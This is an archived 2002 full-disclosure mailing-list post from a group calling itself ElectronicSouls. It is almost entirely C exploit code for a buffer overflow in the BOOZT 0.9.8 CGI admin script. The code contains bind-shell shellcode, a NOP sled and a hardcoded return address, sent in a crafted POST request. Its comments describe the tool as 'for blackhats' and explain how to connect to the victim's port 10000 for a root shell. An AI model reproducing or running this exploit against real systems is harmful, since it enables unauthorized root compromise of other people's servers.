[ElectronicSouls] - BOOZT CGI Exploit
Date: Fri, 29 Nov 2002 09:10:01 -0800
From: es@hush.com
To: full-disclosure@lists.netsys.com
Subject: [ElectronicSouls] - BOOZT CGI Exploit
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Dear List,
We apologize for the cross posting, but we feel it is important that
everyone see this as it covers a new CGI hole.
# cat ES-booz.c
/* -----------------------------------------------------------------------
BOOZT! Not so Standard 0.9.8 CGI vulnerability exploit
fixed/updated by BrainStorm - ElectronicSouls
now its much more usefull ;>
Original Code by: Rafael San Miguel Carrasco - rsanmcar@alum.uax.es
script kiddie enabled! .. this will give you a rootshell on port 10000
so this version isnt for admins its for blackhats! and kidz piss off!
this isnt widely used so nothing for kiddies anyway, since they cant own
100 systems with it =P ..
greetz: ghQst,FreQ,it_fresh,SectorX,RobBbot,0x90,Resistor,Phantom,
divineint,rocsteele,websk8ter,nutsax,BuRn-X and all other
ElectronicSouls members - j00 r0ck =>
-----------------------------------------------------------------------
*/
#include <netinet/in.h>
#define PORT 8080
#define BUFLEN 1597
#define RET 0xbffff297
#define NOP 0x90
int main (int argc, char **argv)
{
int sockfd,
i,
cont;
struct sockaddr_in dest;
int html_len = 15;
char cgicontent[2048];
char buf[BUFLEN];
char shellcode[]= "\x31\xc0" // xor eax, eax
"\x31\xdb" // xor ebx, ebx
"\x89\xe5" // mov ebp, esp
"\x99" // cdq
"\xb0\x66" // mov al, 102
"\x89\x5d\xfc" // mov [ebp-4], ebx
"\x43" // inc ebx
"\x89\x5d\xf8" // mov [ebp-8], ebx
"\x43" // inc ebx
"\x89\x5d\xf4" // mov [ebp-12], ebx
"\x4b" // dec ebx
"\x8d\x4d\xf4" // lea ecx, [ebp-12]
"\xcd\x80" // int 80h
"\x89\x45\xf4" // mov [ebp-12], eax
"\x43" // inc ebx
"\x66\x89\x5d\xec" // mov [ebp-20], bx
"\x66\xc7\x45\xee\x27\x10" // mov [ebp-18], word 4135
"\x89\x55\xf0" // mov [ebp-16], edx
"\x8d\x45\xec" // lea eax, [ebp-20]
"\x89\x45\xf8" // mov [ebp-8], eax
"\xc6\x45\xfc\x10" // mov [ebp-4], byte 16
"\xb2\x66" // mov dl, 102
"\x89\xd0" // mov eax, ed
"\x8d\x4d\xf4" // lea ecx, [ebp-12]
"\xcd\x80" // int 80h
"\x89\xd0" // mov eax, edx
"\xb3\x04" // mov bl, 4
"\xcd\x80" // int 80h
"\x43" // inc ebx
"\x89\xd0" // mov eax, edx
"\x99" // cdq
"\x89\x55\xf8" // mov [ebp-8], edx
"\x89\x55\xfc" // mov [ebp-4], edx
"\xcd\x80" // int 80h
"\x31\xc9" // xor ecx, ecx
"\x89\xc3" // mov ebx, eax
"\xb1\x03" // mov cl, 3
"\xb0\x3f" // mov al, 63
"\x49" // dec ecx
"\xcd\x80" // int 80h
"\x41" // inc ecx
"\xe2\xf8" // loop -7
"\x52" // push edx
"\x68\x6e\x2f\x73\x68" // push dword 68732f6eh
"\x68\x2f\x2f\x62\x69" // push dword 69622f2fh
"\x89\xe3" // mov ebx, esp
"\x52" // push edx
"\x53" // push ebx
"\x89\xe1" // mov ecx, esp
"\xb0\x0b" // mov al, 11
"\xcd\x80"; // int 80h
char *html[15] =
{
"POST /cgi-bin/boozt/admin/index.cgi HTTP/1.0\n",
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,*/*\n",
"Referer: http://10.0.0.1:8080/cgi-bin/boozt/admin/index.cgi?section=5&input=1\n",
"Accept-Language: en, de\n",
"Content-Type: application/x-www-form-urlencoded\n",
"UA-pixels: 640x480\n",
"UA-color: color8\n",
"UA-OS: Blackhat Leenux\n",
"UA-CPU: x86\n",
"User-Agent: Hackscape/1.0 (j00r asS gonna gets 0wned)\n",
"Host: 10.0.0.1:8080\n",
"Connection: Keep-Alive\n",
"Content-Length: 1776\n",
"Pragma: No-Cache\n",
"\n",
};
if (argc < 2)
{
printf ("usage: %s <IP>\n", argv[0]);
exit (-1);
}
printf ("\n-----------------------------------\n");
printf (" BOOZT! Not so Standard exploit \n");
printf (" (C) BrainStorm - ElectronicSouls \n");
printf ("-----------------------------------\n\n");
for (i = 0; i < BUFLEN; i+=4)*( (long *) &buf[i]) = RET;
for (i = 0; i < (BUFLEN - 16); i++) buf[i] = NOP;
cont = 0;
for (i = (BUFLEN - strlen (shellcode) - 16); i < (BUFLEN - 16); i++)
buf[i] = shellcode [cont++];
strcpy (cgicontent, "name=");
strncat (cgicontent, buf, sizeof (buf));
strcat (cgicontent,"&target=&alt_text=&id_size=1&type=image&source=&source_path=Browse...&source_flash=&
source_flash_path=Browse...&script_name=&input=1§ion=5&sent=1&submit=Create+New+Banner");
printf ("* Connecting ...\n");
if ( (sockfd = socket (AF_INET, SOCK_STREAM, 0)) < 0)
{
perror ("socket");
exit (-1);
}
bzero (&dest, sizeof (dest));
dest.sin_family = AF_INET;
dest.sin_port = htons (PORT);
dest.sin_addr.s_addr = inet_addr (argv[1]);
if (connect (sockfd, &dest, sizeof (dest)) < 0)
{
perror ("connect");
exit (-1);
}
printf ("* Connected. sending data ...\n");
for (i = 0; i < html_len; i++)
{
if (write (sockfd, html[i], strlen(html[i])) < strlen(html[i]))
{
perror ("write");
exit (-1);
}
}
if (write (sockfd, cgicontent, strlen(cgicontent)) < strlen(cgicontent))
{
perror ("write cgicontent");
exit (-1);
}
if (close (sockfd) < 0)
{
perror ("close");
exit (-1);
}
printf("now connect to port 10000 on the victim host.. \n");
printf("if everything went well you should get a rootshell :> \n\n");
printf("enjoy..\n");
return 0;
}
#
The Electronic Souls Crew
[ElectronicSouls] (c) 2002
"We're looking for new members."
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